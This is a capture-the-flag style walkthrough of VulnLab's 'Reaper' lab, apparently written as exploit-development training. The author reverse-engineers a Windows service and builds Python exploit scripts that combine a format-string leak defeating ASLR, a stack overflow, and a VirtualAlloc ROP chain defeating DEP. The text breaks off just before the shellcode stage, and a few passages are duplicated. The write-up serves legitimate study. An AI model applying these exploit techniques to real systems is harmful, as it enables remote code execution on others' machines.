OSCE3 | OSCE | OSCP
Reaper was a lab recommended to me for my OffSec Advanced Windows Exploitation (AWE) preperations. It was written by xct and is part of the training and labs offered by VulnLab. The lab was rated Insane and included binary and kernel Reaper 2 was the second lab recommended to me for my OffSec Advanced Windows Exploitation (AWE) preperations. It was written by xct and is part of the training and labs offered by VulnLab. The lab was rated Insane and it didn’t disappoint!.
It’s a vulnerable lab, you get nothing to start off. You have to find the binary you are going to exploit. I guess the intention wasn’t for the student to know that the lab was a binary exploitation lab; this was recommended to me as OSEE prep so I knew up front there was going to be some binary exploitation! I started with an nmap scan to see what the attack surface was (and had a short nap whilst waiting for the results).
I am absolutely terrible at remembering IP addresses so I created a host entry in the /etc/hosts
file for reaper.vulnlab.local:
nmap reaper.vulnlab.local -sV -T4 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-24 18:15 BST
Nmap scan report for 10.10.87.94
Host is up (0.040s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS httpd 10.0
3389/tcp open ms-wbt-server Microsoft Terminal Services
4141/tcp open oirtgsvc?
5040/tcp open unknown
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
(omitted for brevity)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 336.92 seconds
This output tells me a few things. Firstly, it’s a Windows operating system; it’s running IIS and Microsoft Terminal Services, yes look at me… l33t!
I can see an FTP service where I might find a binary file or something that might lead me to a binary file and an HTTP service which may allow me to download a binary file or lead me to finding a binary file. There is also two other interesting services running on ports 4141 and 5040.
The service on 4141 outputs a fingerprint (which I have omitted) but this suggests a service that might be exploitable; it’s a binary exploitation lab!
I connected to the FTP service; I was looking for a binary file after all. As sure as bears crap in the woods there was a binary file, and another file:
ftp reaper.vulnlab.local
Connected to reaper.vulnlab.local.
220 Microsoft FTP Service
Name (reaper.vulnlab.local:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||5001|)
125 Data connection already open; Transfer starting.
08-15-23 12:12AM 262 dev_keys.txt
08-14-23 02:53PM 187392 dev_keysvc.exe
226 Transfer complete.
I downloaded the two files (using FTP binary mode) and took a look at the .txt
file first:
ftp reaper.vulnlab.local
Connected to reaper.vulnlab.local.
220 Microsoft FTP Service
Name (reaper.vulnlab.local:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||5001|)
125 Data connection already open; Transfer starting.
08-15-23 12:12AM 262 dev_keys.txt
08-14-23 02:53PM 187392 dev_keysvc.exe
226 Transfer complete.
I downloaded the two files (using FTP binary mode) and took a look at the .txt
file first:
cat dev_keys.txt
Development Keys:
100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==
101-FE9A1-550-A271-0109-UHJlbWl1bSBMaWNlbnNl
102-FE9A1-500-A272-0106-UHJlbWl1bSBMaWNlbnNl
The dev keys can not be activated yet, we are working on fixing a bug in the activation function.
Oh, I love a careless developer storyline! That comment warms my heart. It suggests that there is a bug in the activation function; if there is a bug, then maybe it can be exploited for remote code execution.
I looked at the binary next:
file dev_keysvc.exe
dev_keysvc.exe: PE32+ executable (console) x86-64, for MS Windows, 7 sections
Nothing surprising here.
NOTE
The HTTPS service had the default IIS webpage. Yes I know I could have fuzzed it, but we all know I have the exploitable binary!
The RDP service was also available but of course I didn’t have any credentials.
I wanted to gather some basic information about the portable executable file. Is it 32 bit or 64 bit? Does it have any compiled security mitigations, such as ASLR? It probably has, and DEP will be enabled, they don’t mark this lab as insane for nothing!
At this point I had to switch to a Windows 11 machine. I ran the PE file and examined the binary in Process Hacker 2:
So, at this point I had a vulnerable 64-bit binary, running as a service on the target (port 4141), and it has DEP and ASLR mitigations in place.
I had a couple of things to go on when I started reverse engineering the binary; first, the service listens for connections so it most likely uses the WS2_32 recv
function, or something similar. Secondly, the comment found in the file gave me a clue (I thought that if this is a rabbit hole I will sulk for quite a while):
The dev keys can not be activated yet, we are working on fixing a bug in the activation function.
My strategy at this point was to analyse the code flow, using dynamic and static analysis. I planned to start with a breakpoint on the recv
function and see if I could direct the code flow to an activation function. I would use Windbg Preview and IDA Free.
I loaded the binary up in IDA Free and WinDbg Preview and rebased the module address in IDA based upon the memory it was loaded into in WinDbg. I then set a breakpoint in WinDbg for the recv
function:
bp ws2_32!recv
I connected to the running service using telnet:
telnet 192.168.1.145 4141
Trying 192.168.1.145...
Connected to 192.168.1.145.
Escape character is '^]'.
Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: TEST
And I got a breakpoint hit in WinDbg:
Breakpoint 0 hit
WS2_32!recv:
00007ff8`d9292280 48895c2408 mov qword ptr [rsp+8],rbx ss:00000051`8d4ffd70=000001a32155ce80
I used the k
command to display the call stack of the given thread (essentially telling me which address would be returned to following the call):
k
# Child-SP RetAddr Call Site
00 00000051`8d4ffd68 00007ff7`19371100 WS2_32!recv
01 00000051`8d4ffd70 00007ff7`1937ed72 ReaperKeyCheck+0x1100
02 00000051`8d4ffdf0 00007ff8`d81d257d ReaperKeyCheck+0xed72
03 00000051`8d4ffe20 00007ff8`d992aa68 KERNEL32!BaseThreadInitThunk+0x1d
04 00000051`8d4ffe50 00000000`00000000 ntdll!RtlUserThreadStart+0x28
This led me to the call within a much larger function. The call is shown below:
I already knew there was three different paths to take, based upon the input that could be sent from the client:
1. Set key
2. Activate key
3. Exit
My plan at this point was to examine this function to see if I could find any obvious vulnerabilities in the code by following these three paths, and to see if there were any other paths that could be taken; for example by entering something that wasn’t 1, 2, or 3.
By connecting to the service, examining the flow in IDA, and sending it different messages I observed a high level flow as depicted below:
There was two functions being called that I needed to reverse engineer (three if I include the second function in Option 2). A master of reverse engineering I am not. This, as always, was going to be painful!
NOTE
Checksum
,CheckKeyFile
, andAnother
are names I gave the functions I discovered whilst reversing in IDA.
I have included a grab of the service whilst connected via netcat:
nc 192.168.1.145 4141
Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit
2
Checking key: 100-FE9A1-500-A270-0102, Comment: Standard License
Could not find key!
I also discovered you could enter any text for the key, provided the checksum was correct:
Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 100-FE9A1-500-A270-0102-any_old_text
Valid key format
NOTE
As I was looking for vulnerabilities I was using a combination of dynamic and static analysis, observing the service behaviour and pulling my hair out. I have documented my understanding of the vulnerabilities discovered and some of the things I did to discover them.
Whilst analysing the service I discovered that if you set a breakpoint before the call to Checksum()
, rdx
contained a pointer to the submitted key:
Breakpoint 1 hit
dev_keysvc+0x10f5:
00007ff7`193710f5 488b4c2428 mov rcx,qword ptr [rsp+28h]
0:001> da rdx
00000210`5b500000 "100-FE9A1-500-A270-0102-U3RhbmRh"
00000210`5b500020 "cmQgTGljZW5zZQ==."
I also noticed the very same memory location was pointed to by rdx
when calling the CheckKeyFile()
function. This suggests that the desired functionality is to set a valid key with option 1, then activate that key (which is stored in memory from the previous call) with option 2:
Breakpoint 2 hit
dev_keysvc+0x11ca:
00007ff7`193711ca e841070000 call dev_keysvc+0x1910 (00007ff7`19371910)
0:001> da rdx
00000210`5b500000 "100-FE9A1-500-A270-0102-U3RhbmRh"
00000210`5b500020 "cmQgTGljZW5zZQ==."
All dynamic analysis I carried out from this point forward involved setting a valid key, then activiating the key via a netcat connection.
IMPORTANT
It is important to note that all keys are base64 decoded in memory. It will become clear why this is important in the next section. Essentially, anything I wanted copied in to memory needed to be base64 encoded in my ‘payload’.
I noticed that there is a call to memmove
in the Another
function (which I know I have named appallingly). The output in IDA is shown below:
.text:00007FF7AEFA169D mov r8, [rsp+0C8h+Size] ; Size
.text:00007FF7AEFA16A2 mov rdx, [rsp+0C8h+Src] ; Src
.text:00007FF7AEFA16A7 mov rcx, rax ; Dest
.text:00007FF7AEFA16AA call memmove ;
In 64-bit calling convention rcx
is the first parameter, rdx
is the second parameter, and r8
is the third parameter. We can look at the C declaration for memmove
to confirm this:
void *memmove(void *str1, const void *str2, size_t n)
The C parameters are as follows: str1
is the destination, str2
is the source, and n
is the number of bytes to be copied.
I carried out some dynamic analysis in the section of code that called the memmove
function. Using a key of 100-FE9A1-500-A270-0102-VEVTVEtFWQ== I noted that the destination buffer contained the string TESTKEY:
Breakpoint 0 hit
ReaperKeyCheck+0x16aa:
00007ff7`aefa16aa e8d1130000 call ReaperKeyCheck+0x2a80 (00007ff7`aefa2a80)
0:008> da rcx
0000004e`9f9fe750 ""
0:008> da rdx
00000196`c26cbe50 "TESTKEY"
0:008> r r8
r8=0000000000000008
0:008> p
da 0000004e`9f9fe750
0000004e`9f9fe750 "TESTKEY"
There is nothing groundbreaking here, but it confirms where data is being copied from, to, and how big the copy is.
I carried out the same test but with a longer key of:
100-FE9A1-500-A270-0102-QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ:
0:008> da rdx
00000196`c26ccc60 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00000196`c26ccc80 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00000196`c26ccca0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00000196`c26cccc0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00000196`c26ccce0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00000196`c26ccd00 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00000196`c26ccd20 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00000196`c26ccd40 "AAAA"
0:008> r r8
r8=00000000000000e4
0:008> p
ReaperKeyCheck+0x16af:
00007ff7`aefa16af 488d4c2440 lea rcx,[rsp+40h]
0:008> da 0000004e`9f9fe750
0000004e`9f9fe750 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000004e`9f9fe770 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000004e`9f9fe790 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000004e`9f9fe7b0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000004e`9f9fe7d0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000004e`9f9fe7f0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000004e`9f9fe810 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000004e`9f9fe830 "AAAA"
0:008> k
# Child-SP RetAddr Call Site
00 0000004e`9f9fe6e0 41414141`41414141 ReaperKeyCheck+0x16af
01 0000004e`9f9fe7b0 41414141`41414141 0x41414141`41414141
02 0000004e`9f9fe7b8 41414141`41414141 0x41414141`41414141
Interestingly, when I examined the call stack I had overridden the saved return address; I had a classic stack-based buffer overflow to deal with.
To understand why this occured I ran the same test again, but this time I looked at the location of the destination variable to that of the stack pointer, I observed it is very close in proximity:
Breakpoint 0 hit
ReaperKeyCheck+0x16aa:
00007ff7`aefa16aa e8d1130000 call ReaperKeyCheck+0x2a80 (00007ff7`aefa2a80)
0:003> r rcx
rcx=000000d25f0fea90
0:003> r rsp
rsp=000000d25f0fea20
0:003> ?rcx-rsp
Evaluate expression: 112 = 00000000`00000070
I also examined the call stack before the memmove function was called:
0:003> k
# Child-SP RetAddr Call Site
00 000000d2`5f0fea20 00007ff7`aefa193c ReaperKeyCheck+0x16aa
01 000000d2`5f0feaf0 00007ff7`aefa11cf ReaperKeyCheck+0x193c
I examined the destination variable on the stack:
0:003> dq rcx L14
000000d2`5f0fea90 00000000`00000000 00000000`00000000
000000d2`5f0feaa0 00000000`00000000 00000000`00000000
000000d2`5f0feab0 00000000`00000000 00000000`00000000
000000d2`5f0feac0 00000000`00000000 00000000`00000000
000000d2`5f0fead0 00000000`00000000 00000000`00000000
000000d2`5f0feae0 00000000`00000000 00007ff7`aefa193c
Finally, I examined the destination variable on the stack after the call to memmove:
0:003> dq rcx L14
000000d2`5f0fea90 41414141`41414141 41414141`41414141
000000d2`5f0feaa0 41414141`41414141 41414141`41414141
000000d2`5f0feab0 41414141`41414141 41414141`41414141
000000d2`5f0feac0 41414141`41414141 41414141`41414141
000000d2`5f0fead0 41414141`41414141 41414141`41414141
000000d2`5f0feae0 41414141`41414141 41414141`41414141
I now knew that 96 bytes were all I needed to overwrite the saved return address.
The memmove function has a paramater to specificy the size of the buffer to be copied; I decided to understand why this had gone so very wrong.
The size
variable was set to zero in the function:
.text:00007FF7AEFA15E4 mov [rsp+0C8h+Size], 0
I set a breakpoint here and decided to watch that variable with a keen eye! When the breakpoint was hit I grabbed the memory location of the variable:
Breakpoint 0 hit
ReaperKeyCheck+0x15e4:
00007ff7`aefa15e4 48c744243000000000 mov qword ptr [rsp+30h],0 ss:00000004`320feab0=0000000000000000
0:003> p
ReaperKeyCheck+0x15ed:
00007ff7`aefa15ed 488b4c2428 mov rcx,qword ptr [rsp+28h] ss:00000004`320feaa8=0000019db7b70018
0:003> dq [rsp+30h] L1
00000004`320feab0 00000000`00000000
Stepping through the instructions I reached a further reference to the variable:
00007ff7`aefa15f7 4c8d442430 lea r8,[rsp+30h]
0:003> p
ReaperKeyCheck+0x15fc:
00007ff7`aefa15fc 488bd0 mov rdx,rax
0:003> r r8
r8=00000004320feab0
I was at a point where r8
pointed to the size
variable on the stack.
Next there was a call to another function:
.text:00007FF7AEFA1604 call sub_7FF7AEFA12D0
When this function returned the value in rax
pointed to my key but it had been base64 decoded. I assumed that this was a base64 decode function so I renamed it appropriately:
0:003> da rax
0000019d`b7bedef0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000019d`b7bedf10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000019d`b7bedf30 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000019d`b7bedf50 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000019d`b7bedf70 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000019d`b7bedf90 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000019d`b7bedfb0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0000019d`b7bedfd0 "AAAA"
There was another function call:
.text:00007FF7AEFA1616 call sub_7FF7AEFA1700
This function took the entire input in the rcx
register (only one parameter):
ReaperKeyCheck+0x1616:
00007ff7`aefa1616 e8e5000000 call ReaperKeyCheck+0x1700 (00007ff7`aefa1700)
0:003> da rcx
0000019d`b7b70000 "100-FE9A1-500-A270-0102-QUFBQUFB"
0000019d`b7b70020 "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
0000019d`b7b70040 "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
0000019d`b7b70060 "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
0000019d`b7b70080 "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
0000019d`b7b700a0 "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
0000019d`b7b700c0 "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
0000019d`b7b700e0 "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
0000019d`b7b70100 "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
0000019d`b7b70120 "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
0000019d`b7b70140 "QUFBQUFBQ."
The function returned the address of the byte (containing ‘-‘) before the start of the encoded key. Perhaps this function located the end of the checksum:
0:003> da rax
0000019d`b7b70017 "-"
Weirdly, the size
variable now contained the value e4. This was the size of the key. I thought this was weird because this variable was not used as a parameter to the function call, nor was it returned in rax
. At least I now knew that this LocateCheckSumEnd
function also set the size
variable used in the memmove
call:
0:003> dq [rsp+30h] L1
00000004`320feab0 00000000`000000e4
As a side venture, whilst stepping through the code I noticed a call to snprintf
:
.text:00007FF7AEFA165F call snprintf
When I looked at the format string that was pointed to by r8
I found the checksum:
0:003> da r8
0000019d`b7b70000 "100-FE9A1-500-A270-0102-"
This looked like a perfect opportunity to leak a memory address because I am allowed to input this, and in the instructions that followed I knew that the input was replayed back to the client (I had observed this when testing with netcat). I parked this until later.
I now had enough information to start exploiting the bug; but first I needed to write a proof of concept.
After doing a bit of basic fuzzing with python I came up with the following proof of concept to start work with:
#!/usr/bin/python
import socket, sys, base64
from struct import pack
try:
server = sys.argv[1]
port = 4141
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
# recv initial menu
d = s.recv(1024)
# send option 1 data
s.send(b'1')
d = s.recv(1024)
# key
buffer = b"A" * 88 # padding
buffer += b"B" * 8 # saved return pointer
key = base64.b64encode(buffer)
# send key
poc_str = b"100-FE9A1-500-A270-0102-" + key
s.send(poc_str)
# recv menu
d = s.recv(1024)
# send option 2 data
s.send(b'2')
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
In order to overcome the ASLR mitigation I needed some way to leak a memory address in the PE module. If I could leak an offset to the module base I could use it to locate ROP gadgets within the PE module. I had already observed a call to snprintf
earlier, now it was time to do a bit of dynamic analysis and see if I could replay a memory location back to the client.
Using netcat again to do a bit of dynamic analysis I set a breakpoint on the following call:
.text:00007FF7AEFA165F call snprintf
I hit my first hurdle, of course it wasn’t going to pass a checksum:
Enter a key: %p-FE9A1-500-A270-0102-
Invalid key format
Enter a key: 100-FE9A1-500-A270-%p-
Invalid key format
It was time to dive in to the code again and see if I could somehow manufacture a valid checksum.
I revisted the Checksum
function and found the following code:
.text:00007FF7AEFA18CA lea rcx, aDebugChecksumP ; "[Debug] Checksum Provided: %d\n"
.text:00007FF7AEFA18D1 call sub_7FF7AEFA1590
.text:00007FF7AEFA18D6 mov edx, [rsp+48h+var_20]
.text:00007FF7AEFA18DA lea rcx, aDebugChecksumC ; "[Debug] Checksum Calculated: %d\n"
.text:00007FF7AEFA18E1 call sub_7FF7AEFA1590
.text:00007FF7AEFA18E6 mov eax, [rsp+48h+var_24]
My plan was to input the same checksum value (%p-FE9A1-500-A270-0102-) but see if I could steal a valid checksum from memory using dynamic analysis. I set a breakpoint on the Checksum
function call.
I hit another problem, where the key had to be a certain length:
.text:00007FF7AEFA176E call strlen
.text:00007FF7AEFA1773 cmp rax, 17h
I adjusted my key to %p1-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==. This passed the first check and I was now able to use dynamic analysis to figure out what the checksum consisted of. As it turned out it was fairly simple.
I set a breakpoint on .text:00007FF7AEFA18D1 call sub_7FF7AEFA1590
because at this point rdx
contained the checksum I had provided. I decided to send different checksums, but only change one value delimited by the ‘-‘ character on each iteration, the results I recorded are given below:
Key Provided | Checksum in rdx |
---|---|
%p1-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ== | 66 |
%p2-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ== | 66 |
%p1-FE9A2-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ== | 66 |
%p1-FE9A1-500-A271-0102-U3RhbmRhcmQgTGljZW5zZQ== | 66 |
%p1-FE9A1-500-A270-0103-U3RhbmRhcmQgTGljZW5zZQ== | 67 |
I noticed that the checksum calculation seemed to be only recorded in the last ‘field’. Perhaps I overcomplicated this; I now realised that 0x67 equals 0103. I was now confident I could grab the actual checksum from memory and alter my submitted key with a valid checksum.
I sent %p1-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ== again, but this time observed the checksum I sent, which should equal 0x66
, which it did:
0:003> g
Breakpoint 0 hit
ReaperKeyCheck+0x18ca:
00007ff7`aefa18ca 488d0d27ed0100 lea rcx,[ReaperKeyCheck+0x205f8 (00007ff7`aefc05f8)]
0:003> r edx
edx=66
I then stepped through the code to observe what the checksum should be:
0:003> p
ReaperKeyCheck+0x18da:
00007ff7`aefa18da 488d0d37ed0100 lea rcx,[ReaperKeyCheck+0x20618 (00007ff7`aefc0618)]
0:003> r edx
edx=9b
Wallop! I now had valid key with which I could possibly leak a memory address, I tested this with %p1-FE9A1-500-A270-0155-U3RhbmRhcmQgTGljZW5zZQ==:
Enter a key: %p1-FE9A1-500-A270-0155-U3RhbmRhcmQgTGljZW5zZQ==
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit
I observed a valid key, and sent option 2:
2
Checking key: 00007FF7AEFC06601-FE9A1, Comment: Standard License
Could not find key!
Choose an option:
1. Set key
2. Activate key
3. Exit
I now had a memory leak of 00007FF7AEFC0660
. I calculated the offset of the memory leak from the module base address:
0:001> ?00007FF7AEFC0660-ReaperKeyCheck
Evaluate expression: 132704 = 00000000`00020660
TIP
What I learned from this exercise is that sometimes you don’t have to spend a lot of time statically reverse engineering assembly code, such as the checksum instructions. By observing general purpose registers during dynamic analysis this gave me the information I needed.
I updated my proof of concept code to include the memory leak, I also tidied up the code a bit to make it more usable:
#!/usr/bin/python
import socket, sys, base64
from struct import pack
global server
global port
global s
def main():
global server
global port
global s
server = sys.argv[1]
port = 4141
print("REAPER PoC\n----------")
print("[*] Connecting to: %s" % server)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
leaked_address = leak_address()
print("[*] Leaked address: %s" % hex(int(leaked_address,16)))
base_address = int(leaked_address, 16)- 0x20660
print("[*] Module base address: %s" % hex(base_address))
print("[*] Sending the exploit...")
send_exploit()
s.close()
def leak_address():
# recv initial menu
d = s.recv(1024)
s.send(b'1')
d = s.recv(1024)
leak_str = b"%p1-FE9A1-500-A270-0155-U3RhbmRhcmQgTGljZW5zZQ=="
s.send(leak_str)
d = s.recv(1024)
s.send(b'2')
d = s.recv(1024)
d = s.recv(1024)
# it works OK!
retn = d.decode('utf-8').split(':')[1][1:17]
return retn
def send_exploit():
global s
s.send(b'1')
d = s.recv(1024)
# key
buffer = b"A" * 88 # padding
buffer += b"B" * 8 # saved return pointer
# b64 encode it
key = base64.b64encode(buffer)
# send exploit
poc_str = b"100-FE9A1-500-A270-0102-" + key
s.send(poc_str)
d = s.recv(1024)
# trigger exploit
s.send(b'2')
d = s.recv(1024)
d = s.recv(1024)
# start here
main()
Now it was time to tackle Data Execution Prevention with a ROP chain.
When looking to write ROP chains I would generally look to call one of the following Windows APIs:
VirtualAlloc
VirtualProtect
WriteProcessMemory
I opened the binary in PE Bear and noticed that the only API in the Import Address Table was VirtualAlloc
. The syntax for VirtualAlloc
is:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
NOTE
The Microsoft documentation states that
VirutalAlloc
“Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero”.This means I could change the protection on the stack and make it executable without a call to
VirtualProtect
.
PE Bear also revealed that the address of VirtualAlloc
in the IAT is at an offset of 0x20000
from the base address of the module. I confirmed this in WinDBG:
0:000> u poi(ReaperKeyCheck+0x20000)
KERNEL32!VirtualAllocStub:
00007ffa`090d3bf0 48ff2531110700 jmp qword ptr [KERNEL32!_imp_VirtualAlloc (00007ffa`09144d28)]
TIP
A technique I have used often, when there is no entry in the IAT, is to find an instruction in the binary that makes a call to the Win32 API and dereference the memory offset that contains the address made by the call.
The target binary was a 64bit binary. Windows uses the x64 Application Binary Interface (ABI) calling convention. It is similar, but not to be confused with, the __fastcall
calling convention. This means that the first four arguments for Win32 API function calls should be written to rcx
, rdx
, r8
, and r9
respectively. For VirtualAlloc
this looks like the following:
rcx
.rdx
.r8
.r9
.I used rp++ to locate all possible ROP gadgets in the binary:
.\rp-win.exe -r 5 -f .\dev_keysvc.exe --va 0x00 > ./rop_gadets.txt
To locate usable gadgets I used the notepadd++ application; I searched using regular expressions.
I spent several hours looking for decent ROP gadgets to build a chain that would change the page protection on the stack to PAGE_EXECUTE_READWRITE
. I would then drop some shellcode on the stack and execute it. When I build ROP chains it takes a lot of effort, it’s a bit like starting to build a jigsaw but later finding the pieces that did fit, no longer fit and you have to take a few steps back quite often to reach your goal. I have only documented the final ROP chain.
IMPORTANT
The order in which I populated the general purpose registers for the
VirtualAlloc
call is very important. Some ROP gadgets corrupt other registers as a residual consequence, and some are quite useful in moving values into other registers.
I needed to get a reference to the stack into rcx
. I noticed that when my ROP chain was hit that r8
and r11
, along with rsp
already contained addresses on the stack:
rax=00000000ffffffff rbx=0000022515ceca00 rcx=e467870ae48d0000
rdx=0000000000000000 rsi=0000000000000000 rdi=4141414141414141
rip=00007ff6e5b116f1 rsp=000000abc94fe858 rbp=0000000000000000
r8=000000abc94fe0c8 r9=0000000000000000 r10=0000000000000000
r11=000000abc94fe770 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
This was the easiest parameter to set, I moved the stack value in r11
into rax
, then moved that value in to rcx
; job done (provided none of my other ROP chains corrupted rcx
):
# lpAddress rcx
# ---------------------------------------------------------------------------------
buffer += pack("<Q", base_address + 0x30f1) # mov rax, r11 ; ret ;
# rax has a reference to the stack, need to get it in to rcx
buffer += pack("<Q", base_address + 0x1f80) # mov rcx, rax ; ret ;
Next I moved the value of 0x40
into r9
; this is the value PAGE_EXECUTE_READWRITE
. The reason that flPrtoect
parameter was populated next is that one of the ROP gadgets moves 0x0
in to r8
which would nullify any value I had written in to the flAllocationType
parameter in r8
:
# flProtect - r9
# ---------------------------------------------------------------------------------
buffer += pack("<Q", base_address + 0x1f5e7) # pop rbx ; ret ;
buffer += pack("<Q", 0x40) # 0x40
buffer += pack("<Q", base_address + 0x1f90) # mov r9, rbx ; mov r8, 0x0000000000000000 ;
# add rsp, 0x08 ; ret ;
buffer += b"B" * 0x8 # padding for add rsp, 0x08
NOTE
Another residual consequence of this gadget is
add rsp 0x08
. I needed to make sure I padded the stack whenever I saw this instruction.
I could not find a reliable chain/gadget that moved the value 0x1000
in to r8
, I spent quite some time on this. I found several chains that got me 0x1000
into r8
but they all had residual consequences that broke the rest of the ROP chain. Eventually I settled on using the value in r9
and adding it 0x40
times to r8
(which was set to 0x0
). This gave me the required value in r8
(MEM_COMMIT
):
# flAllocationType - r8
# ---------------------------------------------------------------------------------
for n in range(0, 0x40, 1):
buffer += pack("<Q", base_address + 0x3918) # add r8, r9 ; add rax, r8 ; ret ;
Next I stored the address of VirtualAlloc
in rax
; it will become clear why when I show how I set the value for dwSize
. This ROP chain uses a common technique; I popped the IAT address for VirtualAlloc
into rax
and then dereferenced the address into rax
:
# VirtualAlloc call - rax (will jump to rax later)
# ---------------------------------------------------------------------------------
buffer += pack("<Q", base_address + 0x150a) # pop rax ; ret ;
buffer += pack("<Q", base_address + 0x20000) # VirtualAlloc IAT address
buffer += pack("<Q", base_address + 0x1547f) # mov rax, qword [rax] ; add rsp, 0x28 ;
# ret ;
buffer += b"B" * 0x28 # padding for add rsp, 0x28
# rax contains the address of VirtualAlloc
NOTE
Notice the padding that is required as a consequence of the
add rsp, 0x28
instruction.
Looking at the code, it should be clear why this gadget has been left until last. I needed to set dwSize
to 0x1000
and r8
already contained this value from the flAllocationType
parameter. I moved it into rdx
. The gadget also had a jump to the value in rax
which is pointing to the VirtualAlloc
function.
# dwSize - rdx
# ---------------------------------------------------------------------------------
buffer += pack("<Q", base_address + 0x5adb) # mov rdx, r8 ; jmp rax ;
This is a great gadget as we don’t need to push rax
on to the stack, it simply calls the function and when the ret
is hit at the end of the function our next gadget will be executed.
I tested the ROP chain, first I examined the stack before the jump to VirtualAlloc
:
0:003> !address rsp
...
Usage: Stack
Base Address: 0000009c`9e5fd000
End Address: 0000009c`9e600000
Region Size: 00000000`00003000 ( 12.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 0000009c`9e500000
Allocation Protect: 00000004 PAGE_READWRITE
The page protection, as expected, was PAGE_READWRITE
. I then examined the stack after the VirtualAlloc
had returned control to my ROP chain:
0:003> !address rsp
...
Usage: Stack
Base Address: 0000009c`9e5fe000
End Address: 0000009c`9e600000
Region Size: 00000000`00002000 ( 8.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 0000009c`9e500000
Allocation Protect: 00000004 PAGE_READWRITE
The page protection was now PAGE_EXECUTE_READWRITE
, meaning all I had to do was get control of rip
and executed shellcode on the stack.
The first thing we need to do when exploiting 64bit x86 architecture is clean up the stack following a Win32 API call. This is straightforward, I added a add rsp, 0x28
gadget and padded out the buffer. After this I pushed rsp
